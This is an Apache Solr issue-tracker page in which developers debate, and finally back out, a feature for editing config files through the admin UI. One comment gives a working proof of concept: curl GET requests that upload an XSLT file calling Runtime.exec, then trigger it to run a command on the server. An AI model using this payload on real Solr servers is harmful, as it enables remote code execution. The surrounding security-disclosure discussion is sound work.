Solr
  1. Solr
  2. SOLR-5287

Allow at least solrconfig.xml and schema.xml to be edited via the admin screen

    Details

    • Type: Improvement Improvement
    • Status: Closed
    • Priority: Blocker Blocker
    • Resolution: Fixed
    • Affects Version/s: 4.5, Trunk
    • Fix Version/s: 5.0, Trunk
    • Labels:
      None

      Description

      A user asking a question on the Solr list got me to thinking about editing the main config files from the Solr admin screen. I chatted briefly with Stefan Matheis (steffkes) about the mechanics of this on the browser side, he doesn't see a problem on that end. His comment is there's no end point that'll write the file back.

      Am I missing something here or is this actually not a hard problem? I see a couple of issues off the bat, neither of which seem troublesome.

      1> file permissions. I'd imagine lots of installations will get file permission exceptions if Solr tries to write the file out. Well, do a chmod/chown.

      2> screwing up the system maliciously or not. I don't think this is an issue, this would be part of the admin handler after all.

      Does anyone have objections to the idea? And how does this fit into the work that Steve Rowe has been doing?

      I can imagine this extending to SolrCloud with a "push this to ZK" option or something like that, perhaps not in V1 unless it's easy.....

      Of course any pointers gratefully received. Especially ones that start with "Don't waste your effort, it'll never work (or be accepted)"...

      Because what scares me is this seems like such an easy thing to do that would be a significant ease-of-use improvement, so there has to be something I'm missing.

      So if we go forward with this we'll make this the umbrella JIRA, the two immediate sub-JIRAs that spring to mind will be the UI work and the endpoints for the UI work to use.

      I think there are only two end-points here
      1> list all the files in the conf (or arbitrary from <solr_home>/collection) directory.
      2> write this text to this file

      Possibly later we could add "clone the configs from coreX to coreY".

      BTW, I've assigned this to myself so I don't lose it, but if anyone wants to take it over it won't hurt my feelings a bit....

      1. SOLR-5287.patch
        6 kB
        Erick Erickson
      2. SOLR-5287.patch
        18 kB
        Erick Erickson
      3. SOLR-5287.patch
        19 kB
        Erick Erickson
      4. SOLR-5287.patch
        31 kB
        Erick Erickson
      5. SOLR-5287.patch
        32 kB
        Erick Erickson

        Issue Links

          Activity

          Hide
          Anshum Gupta added a comment -

          Bulk close after 5.0 release.

          Show
          Anshum Gupta added a comment - Bulk close after 5.0 release.
          Hide
          ASF subversion and git services added a comment -

          Commit 1650721 from Erick Erickson in branch 'dev/branches/branch_5x'
          [ https://svn.apache.org/r1650721 ]

          no separate JIRA, just updating some obsolete JIRAs related to ripping out SOLR-5287

          Show
          ASF subversion and git services added a comment - Commit 1650721 from Erick Erickson in branch 'dev/branches/branch_5x' [ https://svn.apache.org/r1650721 ] no separate JIRA, just updating some obsolete JIRAs related to ripping out SOLR-5287
          Hide
          ASF subversion and git services added a comment -

          Commit 1650720 from Erick Erickson in branch 'dev/trunk'
          [ https://svn.apache.org/r1650720 ]

          no separate JIRA, just updating some obsolete JIRAs related to ripping out SOLR-5287

          Show
          ASF subversion and git services added a comment - Commit 1650720 from Erick Erickson in branch 'dev/trunk' [ https://svn.apache.org/r1650720 ] no separate JIRA, just updating some obsolete JIRAs related to ripping out SOLR-5287
          Hide
          ASF subversion and git services added a comment -

          Commit 1650213 from Erick Erickson in branch 'dev/branches/branch_5x'
          [ https://svn.apache.org/r1650213 ]

          SOLR-6925: Back out changes having to do with SOLR-5287 (editing configs from admin UI)

          Show
          ASF subversion and git services added a comment - Commit 1650213 from Erick Erickson in branch 'dev/branches/branch_5x' [ https://svn.apache.org/r1650213 ] SOLR-6925 : Back out changes having to do with SOLR-5287 (editing configs from admin UI)
          Hide
          ASF subversion and git services added a comment -

          Commit 1650208 from Erick Erickson in branch 'dev/trunk'
          [ https://svn.apache.org/r1650208 ]

          SOLR-6925: Back out changes having to do with SOLR-5287 (editing configs from admin UI)

          Show
          ASF subversion and git services added a comment - Commit 1650208 from Erick Erickson in branch 'dev/trunk' [ https://svn.apache.org/r1650208 ] SOLR-6925 : Back out changes having to do with SOLR-5287 (editing configs from admin UI)
          Hide
          Erick Erickson added a comment -

          took out references to 4.7

          Show
          Erick Erickson added a comment - took out references to 4.7
          Hide
          Erick Erickson added a comment -

          Opening long enough to remove 4.7 tag since it's misleading.

          Show
          Erick Erickson added a comment - Opening long enough to remove 4.7 tag since it's misleading.
          Hide
          Alexandre Rafalovitch added a comment -

          I know this one is closed, but it's tagged with 4.7. This should probably be changed to avoid future confusion.

          Show
          Alexandre Rafalovitch added a comment - I know this one is closed, but it's tagged with 4.7. This should probably be changed to avoid future confusion.
          Hide
          Erick Erickson added a comment -

          Pulled out of 4.x, and put in its own handler for 5.0

          Show
          Erick Erickson added a comment - Pulled out of 4.x, and put in its own handler for 5.0
          Hide
          Mark Miller added a comment -

          It's the implementation of that feature in this issue that has exploits it should not have?

          Yes.

          Show
          Mark Miller added a comment - It's the implementation of that feature in this issue that has exploits it should not have? Yes.
          Hide
          Uwe Schindler added a comment - - edited

          The commit in this issue is the problematic one. The other issues to be reverted are just "usage" of this new API in the admin interface. If we remove that feature from the 4.x branch, we have to remove the admin screens for it, too.

          Steve Rowe's answer was just for Erick Erickson and me, because we wanted to confirm that the schema editing API does not have some "file manager" functionality, so you can inject code into solr's config or templates or whatever.

          Show
          Uwe Schindler added a comment - - edited The commit in this issue is the problematic one. The other issues to be reverted are just "usage" of this new API in the admin interface. If we remove that feature from the 4.x branch, we have to remove the admin screens for it, too. Steve Rowe 's answer was just for Erick Erickson and me, because we wanted to confirm that the schema editing API does not have some "file manager" functionality, so you can inject code into solr's config or templates or whatever.
          Hide
          Yonik Seeley added a comment -

          It feels like multiple issues are being mixed together here.
          There is the high level feature of being able to edit solrconfig/schema from the admin screen, which I don't see any issues with.
          It's the implementation of that feature in this issue that has exploits it should not have?

          Show
          Yonik Seeley added a comment - It feels like multiple issues are being mixed together here. There is the high level feature of being able to edit solrconfig/schema from the admin screen, which I don't see any issues with. It's the implementation of that feature in this issue that has exploits it should not have?
          Hide
          Steve Rowe added a comment -

          BTW, I take it this doesn't apply to the REST API for manipulating the schema?

          It should not apply, because this does not support uploading arbitrary files or modifying plain XML that can get exploited with xinclude/external entities. The schema modification APIs hopefully only allow "semantic changes" to the schema, but does not allow to upload XML snippets to be included in those files without checks. I think Steve Rowe can comment on this, thanks for the pointer!

          At present, only JSON is supported in the Schema REST API methods that accept PUT or POST requests, so xinclude/external entities aren't possible. External files can be pointed to, though, for classes that use them, e.g. analysis components.

          Show
          Steve Rowe added a comment - BTW, I take it this doesn't apply to the REST API for manipulating the schema? It should not apply, because this does not support uploading arbitrary files or modifying plain XML that can get exploited with xinclude/external entities. The schema modification APIs hopefully only allow "semantic changes" to the schema, but does not allow to upload XML snippets to be included in those files without checks. I think Steve Rowe can comment on this, thanks for the pointer! At present, only JSON is supported in the Schema REST API methods that accept PUT or POST requests, so xinclude/external entities aren't possible. External files can be pointed to, though, for classes that use them, e.g. analysis components.
          Hide
          Uwe Schindler added a comment -

          Hi David Jorm,
          Thank you for the comment. You are right, this is not part of Solr 4.6.0, otherwise I would not have made the POC public on this issue tracker. So a CVE is not needed.

          I agree with you, too, that powerful admin features that allow deeper modifications to the hosting system, need to be secured. So although there is already SOLR-5518 that wants to move this feature to a separate RequestHandler, I don't want to have that in the stable branch. Please back it out completely for 4.x.

          I am fine with letting it bake on the trunk branch and we should spend some efforts to make "RequestHandler" based security features available. It should be easily possible to add those security features, because RequestHandlers are encapsulated. We can use the abstract Java features of java.lang.security.Principal to manage users on an abstract way (and fall back to servlet container). We then just need to check the principal on the ServletRequest and decide if the RequestHandler is executed and return HTTP Fobidden otherwise. Yu can then configure users and so on, on the servlet container. If you don't do, all the advanced admin features are disabled.

          The following features should be inaccessible by default:

          • admin request handlers, especially stuff like creating cores, deleting indexes,...
          • scripted updates (currently disabled by default)
          • scripted DIH (needs access to filesystem to enable)

          We should investigate this in Solr 5 (aka trunk) and not hurry in backporting those features. I am happy to help.

          Show
          Uwe Schindler added a comment - Hi David Jorm , Thank you for the comment. You are right, this is not part of Solr 4.6.0, otherwise I would not have made the POC public on this issue tracker. So a CVE is not needed. I agree with you, too, that powerful admin features that allow deeper modifications to the hosting system, need to be secured. So although there is already SOLR-5518 that wants to move this feature to a separate RequestHandler, I don't want to have that in the stable branch. Please back it out completely for 4.x. I am fine with letting it bake on the trunk branch and we should spend some efforts to make "RequestHandler" based security features available. It should be easily possible to add those security features, because RequestHandlers are encapsulated. We can use the abstract Java features of java.lang.security.Principal to manage users on an abstract way (and fall back to servlet container). We then just need to check the principal on the ServletRequest and decide if the RequestHandler is executed and return HTTP Fobidden otherwise. Yu can then configure users and so on, on the servlet container. If you don't do, all the advanced admin features are disabled. The following features should be inaccessible by default: admin request handlers, especially stuff like creating cores, deleting indexes,... scripted updates (currently disabled by default) scripted DIH (needs access to filesystem to enable) We should investigate this in Solr 5 (aka trunk) and not hurry in backporting those features. I am happy to help.
          Hide
          David Jorm added a comment -

          Sorry for weighing in on this late in the game. I am the security response lead for Red Hat Java middleware products, some of which include Apache Solr. I agree with the points Uwe has made regarding this feature constituting a serious security vulnerability. From my testing it appears that this commit is not incorporated into the Solr 4.6.0 release, so if we back the commit out of 4.7.0, then it will have never been released. Is that correct? If so, I think we can avoid the need to assign a CVE ID to this issue.

          Powerful web-based admin capabilities such as this are always dangerous from a security perspective. At a minimum, authentication and authorization with no default credentials should be applied (i.e. an admin has to manually add a user, and they're aware of the security implications of doing so).

          Show
          David Jorm added a comment - Sorry for weighing in on this late in the game. I am the security response lead for Red Hat Java middleware products, some of which include Apache Solr. I agree with the points Uwe has made regarding this feature constituting a serious security vulnerability. From my testing it appears that this commit is not incorporated into the Solr 4.6.0 release, so if we back the commit out of 4.7.0, then it will have never been released. Is that correct? If so, I think we can avoid the need to assign a CVE ID to this issue. Powerful web-based admin capabilities such as this are always dangerous from a security perspective. At a minimum, authentication and authorization with no default credentials should be applied (i.e. an admin has to manually add a user, and they're aware of the security implications of doing so).
          Hide
          Uwe Schindler added a comment - - edited

          You can also upload a whole shell script to your config dir with a single GET request using stream.body and then execute this one with the above XSL. There are no limit, you can do whatever you like

          In addition the XSL hack used here is not the only possibility to use the new "solr file manager" to inject code:

          • You can use the file manager to upload javascript files into the DIH folder and execute it later through DIH
          • You can use the file manager to upload javascript files to the config dir and then use them in the UpdateRequestHandler through ScriptUpdateProcessor. This is not enabled by default, but you can also upload a new solrconfig.xml through this handler and enable this, even with a GET request!!!

          As Javascript (or any other scripting language) is running in Solr's JVM, you have access to the whole Solr API from the viewpoint of the Solr Update Request Handler / DIH.

          The above PoC just shows the easiest way to use this hole.

          Show
          Uwe Schindler added a comment - - edited You can also upload a whole shell script to your config dir with a single GET request using stream.body and then execute this one with the above XSL. There are no limit, you can do whatever you like In addition the XSL hack used here is not the only possibility to use the new "solr file manager" to inject code: You can use the file manager to upload javascript files into the DIH folder and execute it later through DIH You can use the file manager to upload javascript files to the config dir and then use them in the UpdateRequestHandler through ScriptUpdateProcessor . This is not enabled by default, but you can also upload a new solrconfig.xml through this handler and enable this, even with a GET request!!! As Javascript (or any other scripting language) is running in Solr's JVM, you have access to the whole Solr API from the viewpoint of the Solr Update Request Handler / DIH. The above PoC just shows the easiest way to use this hole.
          Hide
          Uwe Schindler added a comment - - edited

          Hi,
          FYI I created a proof of concept why enabling this by default is bad:

          First, after reading the blog post, you might think, you need to actually POST to the handler, which is not possible via XXE. But as Solr allows to pass a content stream through the URL query as string, your system is wide open for writing files, also when you can only do GET requests. Here is the example that uploads the file from the above blog post as xslt/test.xsl. This file has Java code embedded that starts calc.exe on windows systems:

          > curl 'http://localhost:8983/solr/collection1/admin/file?file=xslt/test.xsl&contentType=text/xml;charset=utf-8&op=write&stream.body=%3Cxsl%3Astylesheet%20version%3D%221.0%22%0A%20%20%20%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%0A%20%20%20%20xmlns%3Art%3D%22http%3A%2F%2Fxml.apache.org%2Fxalan%2Fjava%2Fjava.lang.Runtime%22%3E%0A%0A%20%20%3Cxsl%3Aoutput%20method%3D%22text%22%2F%3E%0A%0A%20%20%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22cmd%22%3E%3C!%5BCDATA%5Bcalc.exe%5D%5D%3E%3C%2Fxsl%3Avariable%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22rtObj%22%20select%3D%22rt%3AgetRuntime()%22%2F%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22process%22%20select%3D%22rt%3Aexec(%24rtObj%2C%20%24cmd)%22%2F%3E%0A%20%20%20%3Cxsl%3Atext%3EProcess%20started%3A%20%3C%2Fxsl%3Atext%3E%3Cxsl%3Avalue-of%20select%3D%22%24process%22%2F%3E%0A%20%20%3C%2Fxsl%3Atemplate%3E%0A%3C%2Fxsl%3Astylesheet%3E'
          

          This is the file uploaded by this (on my windows system that open the windows calculator calc.exe, modify for linux or use other windows commands to format your harddisk):

          <xsl:stylesheet version="1.0"
              xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
              xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
          
            <xsl:output method="text"/>
          
            <xsl:template match="/">
             <xsl:variable name="cmd"><![CDATA[calc.exe]]></xsl:variable>
             <xsl:variable name="rtObj" select="rt:getRuntime()"/>
             <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
             <xsl:text>Process started: </xsl:text><xsl:value-of select="$process"/>
            </xsl:template>
          </xsl:stylesheet>
          

          If you want to edit the file and create the correctly encoded stream.body URL param, you can use this tool: http://meyerweb.com/eric/tools/dencoder/

          If you then execute the newly created XSL file in your xslt config directory, the windows calculator opens on your desktop – booom!:

          > curl 'http://localhost:8983/solr/select/?q=*:*&wt=xslt&tr=test.xsl'
          Process started: java.lang.ProcessImpl@73e71ddf
          

          This is the reason, why this must be disabled by default. Having the possibility to upload arbitrary files containing active content to the solr server with only a GET (!!!!) cannot be done by default. GET requests can be started by even smallest leaks in your firewall (as explained in the blog above).

          Show
          Uwe Schindler added a comment - - edited Hi, FYI I created a proof of concept why enabling this by default is bad: First, after reading the blog post , you might think, you need to actually POST to the handler, which is not possible via XXE. But as Solr allows to pass a content stream through the URL query as string, your system is wide open for writing files, also when you can only do GET requests. Here is the example that uploads the file from the above blog post as xslt/test.xsl . This file has Java code embedded that starts calc.exe on windows systems: > curl 'http://localhost:8983/solr/collection1/admin/file?file=xslt/test.xsl&contentType=text/xml;charset=utf-8&op=write&stream.body=%3Cxsl%3Astylesheet%20version%3D%221.0%22%0A%20%20%20%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%0A%20%20%20%20xmlns%3Art%3D%22http%3A%2F%2Fxml.apache.org%2Fxalan%2Fjava%2Fjava.lang.Runtime%22%3E%0A%0A%20%20%3Cxsl%3Aoutput%20method%3D%22text%22%2F%3E%0A%0A%20%20%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22cmd%22%3E%3C!%5BCDATA%5Bcalc.exe%5D%5D%3E%3C%2Fxsl%3Avariable%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22rtObj%22%20select%3D%22rt%3AgetRuntime()%22%2F%3E%0A%20%20%20%3Cxsl%3Avariable%20name%3D%22process%22%20select%3D%22rt%3Aexec(%24rtObj%2C%20%24cmd)%22%2F%3E%0A%20%20%20%3Cxsl%3Atext%3EProcess%20started%3A%20%3C%2Fxsl%3Atext%3E%3Cxsl%3Avalue-of%20select%3D%22%24process%22%2F%3E%0A%20%20%3C%2Fxsl%3Atemplate%3E%0A%3C%2Fxsl%3Astylesheet%3E' This is the file uploaded by this (on my windows system that open the windows calculator calc.exe , modify for linux or use other windows commands to format your harddisk): < xsl:stylesheet version= "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:rt = "http://xml.apache.org/xalan/java/java.lang.Runtime" > < xsl:output method= "text" /> < xsl:template match= "/" > < xsl:variable name= "cmd" > <![CDATA[calc.exe]]> </ xsl:variable > < xsl:variable name= "rtObj" select= "rt:getRuntime()" /> < xsl:variable name= "process" select= "rt:exec($rtObj, $cmd)" /> < xsl:text > Process started: </ xsl:text > < xsl:value-of select= "$process" /> </ xsl:template > </ xsl:stylesheet > If you want to edit the file and create the correctly encoded stream.body URL param, you can use this tool: http://meyerweb.com/eric/tools/dencoder/ If you then execute the newly created XSL file in your xslt config directory, the windows calculator opens on your desktop – booom!: > curl 'http://localhost:8983/solr/select/?q=*:*&wt=xslt&tr=test.xsl' Process started: java.lang.ProcessImpl@73e71ddf This is the reason, why this must be disabled by default. Having the possibility to upload arbitrary files containing active content to the solr server with only a GET (!!!!) cannot be done by default. GET requests can be started by even smallest leaks in your firewall (as explained in the blog above).
          Hide
          Erick Erickson added a comment -

          bq: "ShowFileRequestHandler".

          Yeah, I though about how confusing that was too. But did I do it when I was thinking about it? Noooooo.

          Mark Miller
          bq: We should also do some validation on the uploaded file.

          We don't have the button in the UI yet, but there's a "test" capability that creates and tries to load a temporary core, it never tries to write either to the local conf directory or ZK; it uses a temp dir. Does that serve? It'll barf in all cases where the XML for schema and config is just flat mal-formed. Hmmmm, validating anything with an xml extension would be cheap enough to do whether the user pressed the test button or not, wouldn't it... Good idea.

          OK, it seems like it would be acceptable to move writing to something more appropriately named and allow the security concerns to be governed by whether people un-comment the new handler and/or set it up with passwords etc. I'll open up a JIRA and see what I can whip up so we can figure out what to do next as in whether to revert or not. Of course I'd like to not throw away the work, but that happens now and again.

          Show
          Erick Erickson added a comment - bq: "ShowFileRequestHandler". Yeah, I though about how confusing that was too. But did I do it when I was thinking about it? Noooooo. Mark Miller bq: We should also do some validation on the uploaded file. We don't have the button in the UI yet, but there's a "test" capability that creates and tries to load a temporary core, it never tries to write either to the local conf directory or ZK; it uses a temp dir. Does that serve? It'll barf in all cases where the XML for schema and config is just flat mal-formed. Hmmmm, validating anything with an xml extension would be cheap enough to do whether the user pressed the test button or not, wouldn't it... Good idea. OK, it seems like it would be acceptable to move writing to something more appropriately named and allow the security concerns to be governed by whether people un-comment the new handler and/or set it up with passwords etc. I'll open up a JIRA and see what I can whip up so we can figure out what to do next as in whether to revert or not. Of course I'd like to not throw away the work, but that happens now and again.
          Hide
          Mark Miller added a comment -

          "ShowFileRequestHandler".

          +1 - bad name if it can now write.

          We should also do some validation on the uploaded file. Try to load the byte array as an xml file - if it's not what we expect, don't write it to the filesystem or zk.

          Show
          Mark Miller added a comment - "ShowFileRequestHandler". +1 - bad name if it can now write. We should also do some validation on the uploaded file. Try to load the byte array as an xml file - if it's not what we expect, don't write it to the filesystem or zk.
          Hide
          Robert Muir added a comment -

          Maybe the easiest thing is to pull out the "writing" from the "ShowFileRequestHandler".

          To me, thats confusing/misleading (if its gonna be mixed with the "showing", please renaming the handler!).

          Anyway, if there was a EditFileHandler, it could be commented out. And someone could (today, in 4.x) add shit in tomcat/jetty to secure that with special passwords or whatever if they want.

          in 5.x we could probably get all this setup correctly with passwords or whatever where it could be enabled by default (maybe just with jetty stuff behind the scenes).

          Show
          Robert Muir added a comment - Maybe the easiest thing is to pull out the "writing" from the "ShowFileRequestHandler". To me, thats confusing/misleading (if its gonna be mixed with the "showing", please renaming the handler!). Anyway, if there was a EditFileHandler, it could be commented out. And someone could (today, in 4.x) add shit in tomcat/jetty to secure that with special passwords or whatever if they want. in 5.x we could probably get all this setup correctly with passwords or whatever where it could be enabled by default (maybe just with jetty stuff behind the scenes).
          Hide
          Mark Miller added a comment -

          So that's fine, no revert wars here.

          Right - that is my point. I've seen this idea expressed before on the lists though - that only you should revert your own commits - and that is of course silly. We have a commit then review policy - if someone commits something quickly and then goes on vacation and someone reviews it, I don't want this new idea of don't revert anyone else commits to take hold. You just can't revert in bad faith. We want to keep the 4x branch releasable, and people come and go on their own schedule.

          but I'm not sure how far we can protect people from shooting themselves in the foot.

          One argument would be we could go as far as to not give them a dangerous loaded weapon and instead do it properly with API's once we get there. I don't have a strong opinion though - other than agreeing it should not be enabled by default.

          I'll see if I need to take you up on it

          Just ping my name in the issue.

          Show
          Mark Miller added a comment - So that's fine, no revert wars here. Right - that is my point. I've seen this idea expressed before on the lists though - that only you should revert your own commits - and that is of course silly. We have a commit then review policy - if someone commits something quickly and then goes on vacation and someone reviews it, I don't want this new idea of don't revert anyone else commits to take hold. You just can't revert in bad faith. We want to keep the 4x branch releasable, and people come and go on their own schedule. but I'm not sure how far we can protect people from shooting themselves in the foot. One argument would be we could go as far as to not give them a dangerous loaded weapon and instead do it properly with API's once we get there. I don't have a strong opinion though - other than agreeing it should not be enabled by default. I'll see if I need to take you up on it Just ping my name in the issue.
          Hide
          Yonik Seeley added a comment -

          Although I haven't had a chance to try this feature myself, if people think it's useful I'd rather see it disabled (at most) than removed. We shouldn't go overboard letting security concerns hurt usability.

          Show
          Yonik Seeley added a comment - Although I haven't had a chance to try this feature myself, if people think it's useful I'd rather see it disabled (at most) than removed. We shouldn't go overboard letting security concerns hurt usability.
          Hide
          Erick Erickson added a comment -

          Mark:

          I took Uwe's revert comment as a response to my comment that I'd
          be going away soon, I specifically asked for volunteers helping with the
          revert if I can't get to it. So that's fine, no revert wars here.

          The question is "revert or disable by default" I think. I agree with Uwe's
          point that it will be enabled then forgotten, but I'm not sure how far we
          can protect people from shooting themselves in the foot.

          I'm seeing if I can get a clean revert locally just to have it ready.
          I'd like to get one or the other done ASAP on the theory that I'd really hate
          to do either one on the way out the door for a month. I don't intend
          to commit either before, probably, Tuesday to let people who are on
          vacation weigh in on which way to go.

          Thanks for the offer to help! I'll see if I need to take you up on it,
          depending on what the decision is.

          Show
          Erick Erickson added a comment - Mark: I took Uwe's revert comment as a response to my comment that I'd be going away soon, I specifically asked for volunteers helping with the revert if I can't get to it. So that's fine, no revert wars here. The question is "revert or disable by default" I think. I agree with Uwe's point that it will be enabled then forgotten, but I'm not sure how far we can protect people from shooting themselves in the foot. I'm seeing if I can get a clean revert locally just to have it ready. I'd like to get one or the other done ASAP on the theory that I'd really hate to do either one on the way out the door for a month. I don't intend to commit either before, probably, Tuesday to let people who are on vacation weigh in on which way to go. Thanks for the offer to help! I'll see if I need to take you up on it, depending on what the decision is.
          Hide
          Uwe Schindler added a comment -

          it is better that a revert is done by the person who committed it.

          You misunderstood me.

          Sorry, I misunderstood YOU I just wanted to be pollite and ask him to revert before he leaves for vacation, as I was not involved in this commit. The reason for the above statement was more, because I have no idea what needs to be reverted together with this one (many linked issues....), so it would be good to let somebody with more knowledge do this. I don't want to break the UI, because ShowFileRequestHandler can no longer accept uploaded files.

          Show
          Uwe Schindler added a comment - it is better that a revert is done by the person who committed it. You misunderstood me. Sorry, I misunderstood YOU I just wanted to be pollite and ask him to revert before he leaves for vacation, as I was not involved in this commit. The reason for the above statement was more, because I have no idea what needs to be reverted together with this one (many linked issues....), so it would be good to let somebody with more knowledge do this. I don't want to break the UI, because ShowFileRequestHandler can no longer accept uploaded files.
          Hide
          Uwe Schindler added a comment -

          I don't think that is true at all.

          You misunderstood me. I asked him to revert because he is going on vacation, nothing more. I have technical problems with the commit, so I hope we can fix this.

          I am fine with just disabling that by default, but from my standpoint it's still risky. Because if Erick tells his customers to enable this feature, so he can give them phone support, I am sure those people will forget to disable it after the phone support is done.

          FYI, I will veto any release containing this enabled (although this does not count, jaja, I know).

          Show
          Uwe Schindler added a comment - I don't think that is true at all. You misunderstood me. I asked him to revert because he is going on vacation, nothing more. I have technical problems with the commit, so I hope we can fix this. I am fine with just disabling that by default, but from my standpoint it's still risky. Because if Erick tells his customers to enable this feature, so he can give them phone support, I am sure those people will forget to disable it after the phone support is done. FYI, I will veto any release containing this enabled (although this does not count, jaja, I know).
          Hide
          Mark Miller added a comment -

          Point being I guess, Erick, if you don't have the time and we need to have this out shortly, I can tackle it for you.

          Show
          Mark Miller added a comment - Point being I guess, Erick, if you don't have the time and we need to have this out shortly, I can tackle it for you.
          Hide
          Mark Miller added a comment -

          it is better that a revert is done by the person who committed it.

          I don't think that is true at all. It's better if we don't revert someones commit when we know either they will be pissed or it when it 'feels' wrong.

          Reverting someones commit that is failing the build and they have gone away? No problem IMO. They can fix the issue and re commit.

          Reverting someone else's commit when someone says they are +1 and don't have the time? No problem IMO.

          The revert issue is around commit wars. Good faith reverts are not a problem and can easily be reverted themselves.

          Show
          Mark Miller added a comment - it is better that a revert is done by the person who committed it. I don't think that is true at all. It's better if we don't revert someones commit when we know either they will be pissed or it when it 'feels' wrong. Reverting someones commit that is failing the build and they have gone away? No problem IMO. They can fix the issue and re commit. Reverting someone else's commit when someone says they are +1 and don't have the time? No problem IMO. The revert issue is around commit wars. Good faith reverts are not a problem and can easily be reverted themselves.
          Hide
          Uwe Schindler added a comment -

          As far as the beginners statement is concerned, the cavalier way we dismiss the difficulty people have when they just start using Solr has disturbed me for quite some time, there's no way I'll agree that we should not consider an option because it's "just for beginners". Everyone's a beginner sometime.

          That is a valid point, but before we do something that can edit files on the server that use scripting/external entities/..., we should make the admin UI and all related RequestHandlers protected. This would be a good step into the right direction. Later we could also add possibilities to e.g. restrict access to update request handlers, too. Ideally, every request handler should have some security settings (accessible for specific users/ip adresses/...).

          If you go on vacation before you can proceed with this, we should revert for now. We can rethink later, but it is better that a revert is done by the person who committed it.

          Show
          Uwe Schindler added a comment - As far as the beginners statement is concerned, the cavalier way we dismiss the difficulty people have when they just start using Solr has disturbed me for quite some time, there's no way I'll agree that we should not consider an option because it's "just for beginners". Everyone's a beginner sometime. That is a valid point, but before we do something that can edit files on the server that use scripting/external entities/..., we should make the admin UI and all related RequestHandlers protected. This would be a good step into the right direction. Later we could also add possibilities to e.g. restrict access to update request handlers, too. Ideally, every request handler should have some security settings (accessible for specific users/ip adresses/...). If you go on vacation before you can proceed with this, we should revert for now. We can rethink later, but it is better that a revert is done by the person who committed it.
          Hide
          Erick Erickson added a comment -

          bq: because editing config files with the admin UI is only for beginners, ... but if they have to edit the config itsself on the local file system to use this feature, it would not really help them....

          Let's agree to disagree on these points. I frequently want to change the configs and the admin UI would be a convenient way to do that. Especially when coaching clients remotely who may or may not have installed the system and who may or may not know where the configs are on the filesystem. One person one time would change the config to enable this, while people tinker with the config files all the time, so IMO editing solrconfig.xml once would be effort well spent.

          As far as the beginners statement is concerned, the cavalier way we dismiss the difficulty people have when they just start using Solr has disturbed me for quite some time, there's no way I'll agree that we should not consider an option because it's "just for beginners". Everyone's a beginner sometime.

          That said, the issue is security, the rest is a distraction. Let's keep the discussion focused on that. Would disabling this capability by default answer the security issue? Or is it still too much of a "back door"? That's the central question IMO, and I'll gladly defer to your expertise in this area.

          Whether a REST-API would be a better way to address the possibility is certainly a valid point, and one I entertained early on. Uploading configs seemed much easier to implement, as in "progress, not perfection". But if "easier" means a major security hole, even with the capability disabled by default, then there's not much more to discuss, we'll have to back it out.

          Show
          Erick Erickson added a comment - bq: because editing config files with the admin UI is only for beginners, ... but if they have to edit the config itsself on the local file system to use this feature, it would not really help them.... Let's agree to disagree on these points. I frequently want to change the configs and the admin UI would be a convenient way to do that. Especially when coaching clients remotely who may or may not have installed the system and who may or may not know where the configs are on the filesystem. One person one time would change the config to enable this, while people tinker with the config files all the time , so IMO editing solrconfig.xml once would be effort well spent. As far as the beginners statement is concerned, the cavalier way we dismiss the difficulty people have when they just start using Solr has disturbed me for quite some time, there's no way I'll agree that we should not consider an option because it's "just for beginners". Everyone's a beginner sometime. That said, the issue is security, the rest is a distraction. Let's keep the discussion focused on that. Would disabling this capability by default answer the security issue? Or is it still too much of a "back door"? That's the central question IMO, and I'll gladly defer to your expertise in this area. Whether a REST-API would be a better way to address the possibility is certainly a valid point, and one I entertained early on. Uploading configs seemed much easier to implement, as in "progress, not perfection". But if "easier" means a major security hole, even with the capability disabled by default, then there's not much more to discuss, we'll have to back it out.
          Hide
          Uwe Schindler added a comment -

          Hi,
          in my opinion, this feature should not be there at all. The better way to fix this would be to also allow modifications of the solrconfig.xml with an API (like the schema editing), not by uploading files. This config editing would need to be enabled by setting a property in the config, so user is warned, that all local file formatting gets lost. Also special stuff like external entities would be undone when editing the config. It is still risky to allow this, because the configuration may contain some special settings, which can also open holes in security.

          Keeping this editing feature disabled by default is in my opinion not really an option, because editing config files with the admin UI is only for beginners, but if they have to edit the config itsself on the local file system to use this feature, it would not really help them.
          So I would revert this commit and work maybe on some API to allow changing settings in solrconfig, which are safe (not allow to change the data directory of a core or change security related stuff in request handlers...). E.g. safe would be indexConfig settings like mergePolicy,...

          Sorry for the trouble, but I am afraid of the consequences of keeping this in solr (also disabled by default). Solr is a good server tool, but making it more insecure just for ease of use of beginner users is contra-productive.

          Show
          Uwe Schindler added a comment - Hi, in my opinion, this feature should not be there at all. The better way to fix this would be to also allow modifications of the solrconfig.xml with an API (like the schema editing), not by uploading files. This config editing would need to be enabled by setting a property in the config, so user is warned, that all local file formatting gets lost. Also special stuff like external entities would be undone when editing the config. It is still risky to allow this, because the configuration may contain some special settings, which can also open holes in security. Keeping this editing feature disabled by default is in my opinion not really an option, because editing config files with the admin UI is only for beginners, but if they have to edit the config itsself on the local file system to use this feature, it would not really help them. So I would revert this commit and work maybe on some API to allow changing settings in solrconfig, which are safe (not allow to change the data directory of a core or change security related stuff in request handlers...). E.g. safe would be indexConfig settings like mergePolicy,... Sorry for the trouble, but I am afraid of the consequences of keeping this in solr (also disabled by default). Solr is a good server tool, but making it more insecure just for ease of use of beginner users is contra-productive.
          Hide
          Erick Erickson added a comment - - edited

          Hmmm, This capability can be turned off. Would it be satisfactory
          to disable rather than enable by default and put it on the admin
          to enable it only in secure/dev environments? The intent here, after
          all, is to ease development/getting started rather than be
          something available in a production system.

          Currently, turning this off is accomplished by a bit of a trick,
          defining "hidden" files, i.e. files that you can't see/modify as *.
          It should be easy enough to require explicit enablement of the
          capability instead, which wouldn't be mutually exclusive with
          specifying hidden files.

          If that would work, it'll require a big fat warning similar to
          enableRemoteStreaming.

